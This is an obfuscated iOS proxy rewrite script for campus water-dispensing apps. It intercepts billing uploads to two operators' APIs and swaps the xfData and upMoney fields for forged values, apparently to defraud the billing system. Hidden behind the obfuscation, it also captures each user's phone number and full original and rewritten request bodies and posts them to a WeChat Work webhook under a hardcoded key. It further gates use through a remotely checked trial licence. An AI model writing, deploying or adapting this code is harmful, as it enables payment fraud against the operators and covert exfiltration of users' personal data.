function Env(t, e) {
    class s {
        constructor(t) {
            this.env = t
        }
        send(t, e = "GET") {
            t = "string" == typeof t ? {
                url: t
            } : t;
            let s = this.get;
            return "POST" === e && (s = this.post), new Promise((e, i) => {
                s.call(this, t, (t, s, r) => {
                    t ? i(t) : e(s)
                })
            })
        }
        get(t) {
            return this.send.call(this.env, t)
        }
        post(t) {
            return this.send.call(this.env, t, "POST")
        }
    }
    return new class {
        constructor(t, e) {
            this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)
        }
        isNode() {
            return "undefined" != typeof module && !!module.exports
        }
        isQuanX() {
            return "undefined" != typeof $task
        }
        isSurge() {
            return "undefined" != typeof $httpClient && "undefined" == typeof $loon
        }
        isLoon() {
            return "undefined" != typeof $loon
        }
        isShadowrocket() {
            return "undefined" != typeof $rocket
        }
        toObj(t, e = null) {
            try {
                return JSON.parse(t)
            } catch {
                return e
            }
        }
        toStr(t, e = null) {
            try {
                return JSON.stringify(t)
            } catch {
                return e
            }
        }
        getjson(t, e) {
            let s = e;
            const i = this.getdata(t);
            if (i) try {
                s = JSON.parse(this.getdata(t))
            } catch {}
            return s
        }
        setjson(t, e) {
            try {
                return this.setdata(JSON.stringify(t), e)
            } catch {
                return !1
            }
        }
        getScript(t) {
            return new Promise(e => {
                this.get({
                    url: t
                }, (t, s, i) => e(i))
            })
        }
        runScript(t, e) {
            return new Promise(s => {
                let i = this.getdata("@chavy_boxjs_userCfgs.httpapi");
                i = i ? i.replace(/\n/g, "").trim() : i;
                let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");
                r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r;
                const [o, h] = i.split("@"), a = {
                    url: `http://${h}/v1/scripting/evaluate`,
                    body: {
                        script_text: t,
                        mock_type: "cron",
                        timeout: r
                    },
                    headers: {
                        "X-Key": o,
                        Accept: "*/*"
                    }
                };
                this.post(a, (t, e, i) => s(i))
            }).catch(t => this.logErr(t))
        }
        loaddata() {
            if (!this.isNode()) return {}; {
                this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path");
                const t = this.path.resolve(this.dataFile),
                    e = this.path.resolve(process.cwd(), this.dataFile),
                    s = this.fs.existsSync(t),
                    i = !s && this.fs.existsSync(e);
                if (!s && !i) return {}; {
                    const i = s ? t : e;
                    try {
                        return JSON.parse(this.fs.readFileSync(i))
                    } catch (t) {
                        return {}
                    }
                }
            }
        }
        writedata() {
            if (this.isNode()) {
                this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path");
                const t = this.path.resolve(this.dataFile),
                    e = this.path.resolve(process.cwd(), this.dataFile),
                    s = this.fs.existsSync(t),
                    i = !s && this.fs.existsSync(e),
                    r = JSON.stringify(this.data);
                s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r)
            }
        }
        lodash_get(t, e, s) {
            const i = e.replace(/\[(\d+)\]/g, ".$1").split(".");
            let r = t;
            for (const t of i)
                if (r = Object(r)[t], void 0 === r) return s;
            return r
        }
        lodash_set(t, e, s) {
            return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)
        }
        getdata(t) {
            let e = this.getval(t);
            if (/^@/.test(t)) {
                const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : "";
                if (r) try {
                    const t = JSON.parse(r);
                    e = t ? this.lodash_get(t, i, "") : e
                } catch (t) {
                    e = ""
                }
            }
            return e
        }
        setdata(t, e) {
            let s = !1;
            if (/^@/.test(e)) {
                const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}";
                try {
                    const e = JSON.parse(h);
                    this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i)
                } catch (e) {
                    const o = {};
                    this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i)
                }
            } else s = this.setval(t, e);
            return s
        }
        getval(t) {
            return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null
        }
        setval(t, e) {
            return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null
        }
        initGotEnv(t) {
            this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))
        }
        get(t, e = (() => {})) {
            t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {
                "X-Surge-Skip-Scripting": !1
            })), $httpClient.get(t, (t, s, i) => {
                !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)
            })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {
                hints: !1
            })), $task.fetch(t).then(t => {
                const {
                    statusCode: s,
                    statusCode: i,
                    headers: r,
                    body: o
                } = t;
                e(null, {
                    status: s,
                    statusCode: i,
                    headers: r,
                    body: o
                }, o)
            }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => {
                try {
                    if (t.headers["set-cookie"]) {
                        const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();
                        s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar
                    }
                } catch (t) {
                    this.logErr(t)
                }
            }).then(t => {
                const {
                    statusCode: s,
                    statusCode: i,
                    headers: r,
                    body: o
                } = t;
                e(null, {
                    status: s,
                    statusCode: i,
                    headers: r,
                    body: o
                }, o)
            }, t => {
                const {
                    message: s,
                    response: i
                } = t;
                e(s, i, i && i.body)
            }))
        }
        post(t, e = (() => {})) {
            const s = t.method ? t.method.toLocaleLowerCase() : "post";
            if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {
                "X-Surge-Skip-Scripting": !1
            })), $httpClient[s](t, (t, s, i) => {
                !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)
            });
            else if (this.isQuanX()) t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {
                hints: !1
            })), $task.fetch(t).then(t => {
                const {
                    statusCode: s,
                    statusCode: i,
                    headers: r,
                    body: o
                } = t;
                e(null, {
                    status: s,
                    statusCode: i,
                    headers: r,
                    body: o
                }, o)
            }, t => e(t));
            else if (this.isNode()) {
                this.initGotEnv(t);
                const {
                    url: i,
                    ...r
                } = t;
                this.got[s](i, r).then(t => {
                    const {
                        statusCode: s,
                        statusCode: i,
                        headers: r,
                        body: o
                    } = t;
                    e(null, {
                        status: s,
                        statusCode: i,
                        headers: r,
                        body: o
                    }, o)
                }, t => {
                    const {
                        message: s,
                        response: i
                    } = t;
                    e(s, i, i && i.body)
                })
            }
        }
        time(t, e = null) {
            const s = e ? new Date(e) : new Date;
            let i = {
                "M+": s.getMonth() + 1,
                "d+": s.getDate(),
                "H+": s.getHours(),
                "m+": s.getMinutes(),
                "s+": s.getSeconds(),
                "q+": Math.floor((s.getMonth() + 3) / 3),
                S: s.getMilliseconds()
            };
            /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length)));
            for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length)));
            return t
        }
        msg(e = t, s = "", i = "", r) {
            const o = t => {
                if (!t) return t;
                if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {
                    "open-url": t
                } : this.isSurge() ? {
                    url: t
                } : void 0;
                if ("object" == typeof t) {
                    if (this.isLoon()) {
                        let e = t.openUrl || t.url || t["open-url"],
                            s = t.mediaUrl || t["media-url"];
                        return {
                            openUrl: e,
                            mediaUrl: s
                        }
                    }
                    if (this.isQuanX()) {
                        let e = t["open-url"] || t.url || t.openUrl,
                            s = t["media-url"] || t.mediaUrl;
                        return {
                            "open-url": e,
                            "media-url": s
                        }
                    }
                    if (this.isSurge()) {
                        let e = t.url || t.openUrl || t["open-url"];
                        return {
                            url: e
                        }
                    }
                }
            };
            if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) {
                let t = ["", "==============📣系统通知📣=============="];
                t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t)
            }
        }
        log(...t) {
            t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))
        }
        logErr(t, e) {
            const s = !this.isSurge() && !this.isQuanX() && !this.isLoon();
            s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t)
        }
        wait(t) {
            return new Promise(e => setTimeout(e, t))
        }
        done(t = {}) {
            const e = (new Date).getTime(),
                s = (e - this.startTime) / 1e3;
            this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t)
        }
    }(t, e)
}


var __encode = 'jsjiami.com',
    _a = {},
    _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function(_0xd642x1) {
    _0xd642x1[_0xb483[0]] = _0xb483[1]
})(_a);
var __Oxcba20 = ["校园无忧洗", "url", "body", "upload/data", "ac8e4b2f-e383-4265-a186-7859ccb90ab5", "qzxyTel", "getdata", "nTime", "2021-07-28", "tCount", "1", "init_time", "mCount", "setdata", "/", "replace", "setHours", "https://gitee.com/Cookiesnob/freewater/raw/master/Task/zqkd/JsonData.json", "get", "parse", "undefined", "", "name", " 服务器账户查询中,账户ID为: ", "log", "@", "split", " 
                账户ID: ", "
                截至使用日期:", "
                剩余使用时间:", "天", " 用户类别：未授权用户，赠送一天试用权,
                试用截至日期：", "，如需继续使用，请申请授权解锁", "用户类别：未授权用户，赠送一天试用权", "如需继续使用，请申请授权解锁", "msg", "您的试用期已过，如需继续使用", "首次使用必要数据自动获取中，请在APP中正常开水关水一次", "等待弹窗提醒获取成功后即完成解锁数据获取过程", "then", "A", "2026501285", "B", "2642831696", "C", "1491055185", "D", "2633188067", "getDate", "setDate", "getFullYear", "getMonth", "0", "-", "indexOf", "match", "qzxyxfData", "qzxymoney", " 数据M解密成功", " 获取用户账户ID: 成功,账户ID为: ", "账户数据自动获取成功", "开始开开心心的用水吧", "账户数据获取成功\n数据获取时间", "所有必要数据获取完毕", "done", "has", " 您的有效使用时长仅剩", "天,为不影响继续使用,请联系申请解锁", "您的有效使用时长仅剩", "如需继续使用：请联系QQ:", " 申请解锁", "abs", " 汇优用水解密开启", " 趣智校园用水解密开启", " 账户二次校验成功,解密算法加载中", " 数据S计算成功:", "length", "ios", " 当前的软件环境是:", " 数据M计算成功:", "slice", " 新数据生成: 成功,当前保存的持久化数据: ", " = 91", " body2数据解密成功", "趣智使用日期：", "\n今日已使用", "次\n共使用了", "次", " 数据解密失败,本地账户与实际使用账户不符,如更换手机号，请打开 getData 脚本重新获取数据", "数据解密失败,原因是本地账户与实际使用账户不符", "如更换手机号，请打开 getData 脚本重新获取数据", "upMoney=38", "xfData=80", "000003f200000b8500007a12020000006c000013880000002600000026001583d0aa9f", " 解密算法生成:", "=91", " body1数据加载成功", " body2数据加载成功", "账户ID：", "日志记录:", "初始生成的xfData:", ",字符长度", "\n算法生成的xfData:", "\n初始数据请求为：", "\n替换后数据请求为：", " 数据解密失败,原因是本地账户与实际使用账户不符,请打开 getData 脚本重新获取数据", "请打开 getData 脚本重新获取数据", "{ "msgtype": "text", "text": { "content": "", "\n\n", ""}}", "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=", "application/json", "发送数据清理指令失败！！
", "errcode", "发送数据清理指令完成。
", "errmsg", "\n", "logErr", "post", "取消数据清理
", "删除", "版本号，js会定", "期弹窗，", "还请支持我们的工作", "jsjia", "mi.com"];
const jsName = __Oxcba20[0x0];
const $ = new Env(jsName);
const url = $request[__Oxcba20[0x1]];
var body = $request[__Oxcba20[0x2]];
const path1 = __Oxcba20[0x3];
let getLog = 1;
let KEY = __Oxcba20[0x4];
let telphone = $[__Oxcba20[0x6]](__Oxcba20[0x5]);
let nTime = $[__Oxcba20[0x6]](__Oxcba20[0x7]) || __Oxcba20[0x8];
let tCount = $[__Oxcba20[0x6]](__Oxcba20[0x9]) || __Oxcba20[0xa];
let init_time = $[__Oxcba20[0x6]](__Oxcba20[0xb]);
let today_time = FormatDate();
if (isToday(nTime)) {
    var mCount = $[__Oxcba20[0x6]](__Oxcba20[0xc]) || __Oxcba20[0xa]
} else {
    let nTime = FormatDate();
    $[__Oxcba20[0xd]](nTime, __Oxcba20[0x7]);
    var mCount = __Oxcba20[0xa]
};

function isToday(_0x4e72xf) {
    var _0x4e72x10 = new Date(_0x4e72xf[__Oxcba20[0xf]](/-/g, __Oxcba20[0xe]));
    var _0x4e72x11 = new Date();
    if (_0x4e72x10[__Oxcba20[0x10]](0, 0, 0, 0) == _0x4e72x11[__Oxcba20[0x10]](0, 0, 0, 0)) {
        return true
    } else {
        return false
    }
}

function getdata() {
    return new Promise((_0x4e72x13, _0x4e72x14) => {
        const url = {
            url: `${__Oxcba20[0x11]}`
        };
        $[__Oxcba20[0x12]](url, (_0x4e72x15, _0x4e72x16, _0x4e72x17) => {
            _0x4e72x13(_0x4e72x17)
        })
    })
}
async
function asyncFn() {
    let _0x4e72x19 = await getdata();
    return _0x4e72x19
}
asyncFn()[__Oxcba20[0x27]]((_0x4e72x1a) => {
    let _0x4e72x17 = JSON[__Oxcba20[0x13]](_0x4e72x1a);
    if (typeof telphone !== __Oxcba20[0x14]) {
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x17]}${telphone}${__Oxcba20[0x15]}`);
        if (telphone in _0x4e72x17) {
            let _0x4e72x1b = _0x4e72x17[telphone][__Oxcba20[0x1a]](__Oxcba20[0x19]);
            let _0x4e72x1c = _0x4e72x1b[0x0];
            let _0x4e72x1d = _0x4e72x1b[0x1];
            let _0x4e72x1e = getID(_0x4e72x1c);
            let _0x4e72x1f = DateDiff(today_time, _0x4e72x1d);
            $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x1b]}${telphone}${__Oxcba20[0x1c]}${_0x4e72x1d}${__Oxcba20[0x1d]}${_0x4e72x1f}${__Oxcba20[0x1e]}`);
            if (today_time < _0x4e72x1d) {
                reWrite();
                notify(_0x4e72x1f, _0x4e72x1e)
            }
        } else {
            let _0x4e72x1d = getNextDate(init_time, 1);
            $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x1f]}${_0x4e72x1d}${__Oxcba20[0x20]}`);
            $[__Oxcba20[0x23]]($[__Oxcba20[0x16]], `${__Oxcba20[0x21]}`, `${__Oxcba20[0x22]}`);
            if (today_time < _0x4e72x1d) {
                reWrite()
            } else {
                $[__Oxcba20[0x23]]($[__Oxcba20[0x16]], `${__Oxcba20[0x24]}`, `${__Oxcba20[0x22]}`)
            }
        }
    } else {
        $[__Oxcba20[0x23]]($[__Oxcba20[0x16]], `${__Oxcba20[0x25]}`, `${__Oxcba20[0x26]}`);
        GetCookie()
    }
});
let IDdatabase = new Map([
    [__Oxcba20[0x28], __Oxcba20[0x29]],
    [__Oxcba20[0x2a], __Oxcba20[0x2b]],
    [__Oxcba20[0x2c], __Oxcba20[0x2d]],
    [__Oxcba20[0x2e], __Oxcba20[0x2f]]
]);

function getNextDate(_0x4e72x22, _0x4e72x23) {
    var _0x4e72x24 = new Date(_0x4e72x22);
    _0x4e72x24[__Oxcba20[0x31]](_0x4e72x24[__Oxcba20[0x30]]() + _0x4e72x23);
    var _0x4e72x25 = _0x4e72x24[__Oxcba20[0x32]]();
    var _0x4e72x26 = _0x4e72x24[__Oxcba20[0x33]]() + 1 < 10 ? __Oxcba20[0x34] + (_0x4e72x24[__Oxcba20[0x33]]() + 1) : _0x4e72x24[__Oxcba20[0x33]]() + 1;
    var _0x4e72x10 = _0x4e72x24[__Oxcba20[0x30]]() < 10 ? __Oxcba20[0x34] + _0x4e72x24[__Oxcba20[0x30]]() : _0x4e72x24[__Oxcba20[0x30]]();
    return _0x4e72x25 + __Oxcba20[0x35] + _0x4e72x26 + __Oxcba20[0x35] + _0x4e72x10
}

function GetCookie() {
    if (url[__Oxcba20[0x36]](path1) != -1) {
        let init_time = FormatDate();
        let _0x4e72x28 = body[__Oxcba20[0x37]](/telPhone=(\d+)/)[0x1];
        let _0x4e72x29 = body[__Oxcba20[0x37]](/xfData=(\w+)/)[0x0];
        if (_0x4e72x28) {
            $[__Oxcba20[0xd]](_0x4e72x28, __Oxcba20[0x5])
        };
        if (_0x4e72x29) {
            $[__Oxcba20[0xd]](_0x4e72x29, __Oxcba20[0x38])
        };
        if (init_time) {
            $[__Oxcba20[0xd]](init_time, __Oxcba20[0xb])
        };
        if (body[__Oxcba20[0x37]](/phoneSystem=ios/)) {
            var _0x4e72x2a = body[__Oxcba20[0x37]](/upMoney=\d+/)[0x0];
            if (_0x4e72x2a) {
                $[__Oxcba20[0xd]](_0x4e72x2a, __Oxcba20[0x39])
            };
            $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x3a]}`)
        };
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x3b]}${_0x4e72x28}${__Oxcba20[0x15]}`);
        $[__Oxcba20[0x23]]($[__Oxcba20[0x16]], `${__Oxcba20[0x3c]}`, `${__Oxcba20[0x3d]}`);
        let _0x4e72x2b = `${__Oxcba20[0x3e]}${init_time}${__Oxcba20[0x15]}`;
        BotNotify(_0x4e72x28, _0x4e72x2b);
        $[__Oxcba20[0x18]](`${__Oxcba20[0x3f]}`);
        $[__Oxcba20[0x40]]()
    }
}

function getID(_0x4e72x2d) {
    if (IDdatabase[__Oxcba20[0x41]](_0x4e72x2d)) {
        myID = IDdatabase[__Oxcba20[0x12]](_0x4e72x2d)
    } else {
        myID = __Oxcba20[0x29]
    };
    return myID
}

function notify(_0x4e72x1f, _0x4e72x1e) {
    if (_0x4e72x1f < 3) {
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x42]}${_0x4e72x1f}${__Oxcba20[0x43]}`);
        $[__Oxcba20[0x23]]($[__Oxcba20[0x16]], `${__Oxcba20[0x44]}${_0x4e72x1f}${__Oxcba20[0x1e]}`, `${__Oxcba20[0x45]}${_0x4e72x1e}${__Oxcba20[0x46]}`)
    }
}

function FormatDate() {
    var _0x4e72x30 = new Date();
    var _0x4e72x31 = _0x4e72x30[__Oxcba20[0x32]]();
    var _0x4e72x32 = _0x4e72x30[__Oxcba20[0x33]]();
    var _0x4e72x22 = _0x4e72x30[__Oxcba20[0x30]]();
    _0x4e72x32 = _0x4e72x32 + 1;
    if (_0x4e72x32 < 10) {
        _0x4e72x32 = __Oxcba20[0x34] + _0x4e72x32
    };
    if (_0x4e72x22 < 10) {
        _0x4e72x22 = __Oxcba20[0x34] + _0x4e72x22
    };
    var _0x4e72x33 = _0x4e72x31 + __Oxcba20[0x35] + _0x4e72x32 + __Oxcba20[0x35] + _0x4e72x22;
    return _0x4e72x33
}

function DateDiff(_0x4e72x35, _0x4e72x36) {
    var _0x4e72x37 = new Date(_0x4e72x35);
    var _0x4e72x38 = new Date(_0x4e72x36);
    var _0x4e72x39 = Math[__Oxcba20[0x47]](_0x4e72x38 - _0x4e72x37) / (1000 * 60 * 60 * 24);
    return _0x4e72x39
}

function reWrite() {
    if (url[__Oxcba20[0x37]](/prodwfw\.cqhxgf\.com.+upload\/data/)) {
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x48]}`);
        hyReWrite()
    };
    if (url[__Oxcba20[0x37]](/wfwapi\.china\-qzxy\.cn.+upload\/data/)) {
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x49]}`);
        qzReWrite()
    }
}

function qzReWrite() {
    if (body[__Oxcba20[0x37]](telphone)) {
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x4a]}`);
        let _0x4e72x3c = $request[__Oxcba20[0x2]];
        let _0x4e72x3d = body[__Oxcba20[0x37]](/xfData=\w+/)[0x0];
        let _0x4e72x3e = body[__Oxcba20[0x37]](/xfData=\d{1,14}/)[0x0];
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x4b]}${_0x4e72x3e[__Oxcba20[0x4c]]}${__Oxcba20[0x15]}`);
        let _0x4e72x3f = body[__Oxcba20[0x37]](/phoneSystem=(\w+)/)[0x1];
        let _0x4e72x40 = $[__Oxcba20[0x6]](__Oxcba20[0x38]);
        if (_0x4e72x3f == __Oxcba20[0x4d]) {
            $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x4e]}${_0x4e72x3f}${__Oxcba20[0x15]}`);
            let _0x4e72x26 = $[__Oxcba20[0x6]](__Oxcba20[0x39]);
            $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x4f]}${_0x4e72x26[__Oxcba20[0x4c]]}${__Oxcba20[0x15]}`);
            const _0x4e72x41 = _0x4e72x3e + _0x4e72x40[__Oxcba20[0x50]](21);
            $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x51]}${_0x4e72x41[__Oxcba20[0x4c]]}${__Oxcba20[0x52]}`);
            body = body[__Oxcba20[0xf]](/xfData=(\w+)/, _0x4e72x41);
            body = body[__Oxcba20[0xf]](/upMoney=\d+/, _0x4e72x26);
            $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x53]}`)
        } else {
            $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x4e]}${_0x4e72x3f}${__Oxcba20[0x15]}`);
            body = body[__Oxcba20[0xf]](/xfData=(\w+)/, _0x4e72x40);
            $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x53]}`)
        };
        mCount = mCount + 1;
        tCount = tCount + 1;
        if (mCount) {
            $[__Oxcba20[0xd]](mCount, __Oxcba20[0xc])
        };
        if (tCount) {
            $[__Oxcba20[0xd]](tCount, __Oxcba20[0x9])
        };
        BotNotify(telphone, `${__Oxcba20[0x54]}${today_time}${__Oxcba20[0x55]}${mCount[__Oxcba20[0x4c]]- 1}${__Oxcba20[0x56]}${tCount[__Oxcba20[0x4c]]- 1}${__Oxcba20[0x57]}`);
        $[__Oxcba20[0x40]]({
            body
        })
    } else {
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x58]}`);
        $[__Oxcba20[0x23]]($[__Oxcba20[0x16]], `${__Oxcba20[0x59]}`, `${__Oxcba20[0x5a]}`)
    }
}

function hyReWrite() {
    if (body[__Oxcba20[0x37]](telphone)) {
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x4a]}`);
        let _0x4e72x3c = body;
        let _0x4e72x29 = body[__Oxcba20[0x37]](/xfData=\w+/)[0x0];
        let _0x4e72x43 = body[__Oxcba20[0x37]](/consumeDate=\d+/)[0x0];
        let _0x4e72x44 = _0x4e72x43[__Oxcba20[0x50]](14, 26);
        let _0x4e72xf = __Oxcba20[0x5b];
        const _0x4e72x41 = __Oxcba20[0x5c] + _0x4e72x44 + __Oxcba20[0x5d];
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x5e]}${_0x4e72x41[__Oxcba20[0x4c]]}${__Oxcba20[0x5f]}`);
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x60]}`);
        body = body[__Oxcba20[0xf]](/xfData=(\w+)/, _0x4e72x41);
        body = body[__Oxcba20[0xf]](/upMoney=\d+/, _0x4e72xf);
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x61]}`);
        if (getLog) {
            title = `${__Oxcba20[0x62]}${telphone}${__Oxcba20[0x63]}`;
            content = `${__Oxcba20[0x64]}${_0x4e72x29}${__Oxcba20[0x65]}${_0x4e72x29[__Oxcba20[0x4c]]}${__Oxcba20[0x66]}${_0x4e72x41}${__Oxcba20[0x65]}${_0x4e72x41[__Oxcba20[0x4c]]}${__Oxcba20[0x67]}${_0x4e72x3c}${__Oxcba20[0x68]}${body}${__Oxcba20[0x15]}`;
            BotNotify(title, content)
        };
        $[__Oxcba20[0x40]]({
            body
        })
    } else {
        $[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${$[__Oxcba20[0x16]]}${__Oxcba20[0x69]}`);
        $[__Oxcba20[0x23]]($[__Oxcba20[0x16]], `${__Oxcba20[0x59]}`, `${__Oxcba20[0x6a]}`)
    }
}

function BotNotify(_0x4e72x46, _0x4e72x47) {
    return new Promise((_0x4e72x13) => {
        var _0x4e72x48 = `${__Oxcba20[0x6b]}${_0x4e72x46}${__Oxcba20[0x6c]}${_0x4e72x47}${__Oxcba20[0x6d]}`;
        const _0x4e72x49 = {
            url: `${__Oxcba20[0x6e]}${KEY}${__Oxcba20[0x15]}`,
            body: _0x4e72x48,
            headers: {
                "Content-Type": __Oxcba20[0x6f]
            }
        };
        if (KEY) {
            $[__Oxcba20[0x76]](_0x4e72x49, (_0x4e72x4a, _0x4e72x4b, _0x4e72x17) => {
                try {
                    if (_0x4e72x4a) {
                        console[__Oxcba20[0x18]](__Oxcba20[0x70]);
                        console[__Oxcba20[0x18]](_0x4e72x4a)
                    } else {
                        _0x4e72x17 = JSON[__Oxcba20[0x13]](_0x4e72x17);
                        if (_0x4e72x17[__Oxcba20[0x71]] === 0) {
                            console[__Oxcba20[0x18]](__Oxcba20[0x72])
                        } else {
                            console[__Oxcba20[0x18]](`${__Oxcba20[0x15]}${_0x4e72x17[__Oxcba20[0x73]]}${__Oxcba20[0x74]}`)
                        }
                    }
                } catch (e) {
                    $[__Oxcba20[0x75]](e, _0x4e72x4b)
                } finally {
                    _0x4e72x13(_0x4e72x17)
                }
            })
        } else {
            console[__Oxcba20[0x18]](__Oxcba20[0x77]);
            _0x4e72x13()
        }
    })
}(function(_0x4e72x4c, _0x4e72x4d, _0x4e72x4e, _0x4e72x4f, _0x4e72x50, _0x4e72x51) {
    _0x4e72x51 = __Oxcba20[0x14];
    _0x4e72x4f = function(_0x4e72x26) {
        if (typeof alert !== _0x4e72x51) {
            alert(_0x4e72x26)
        };
        if (typeof console !== _0x4e72x51) {
            console[__Oxcba20[0x18]](_0x4e72x26)
        }
    };
    _0x4e72x4e = function(_0x4e72x52, _0x4e72x4c) {
        return _0x4e72x52 + _0x4e72x4c
    };
    _0x4e72x50 = _0x4e72x4e(__Oxcba20[0x78], _0x4e72x4e(_0x4e72x4e(__Oxcba20[0x79], __Oxcba20[0x7a]), __Oxcba20[0x7b]));
    try {
        _0x4e72x4c = __encode;
        if (!(typeof _0x4e72x4c !== _0x4e72x51 && _0x4e72x4c === _0x4e72x4e(__Oxcba20[0x7c], __Oxcba20[0x7d]))) {
            _0x4e72x4f(_0x4e72x50)
        }
    } catch (e) {
        _0x4e72x4f(_0x4e72x50)
    }
})({})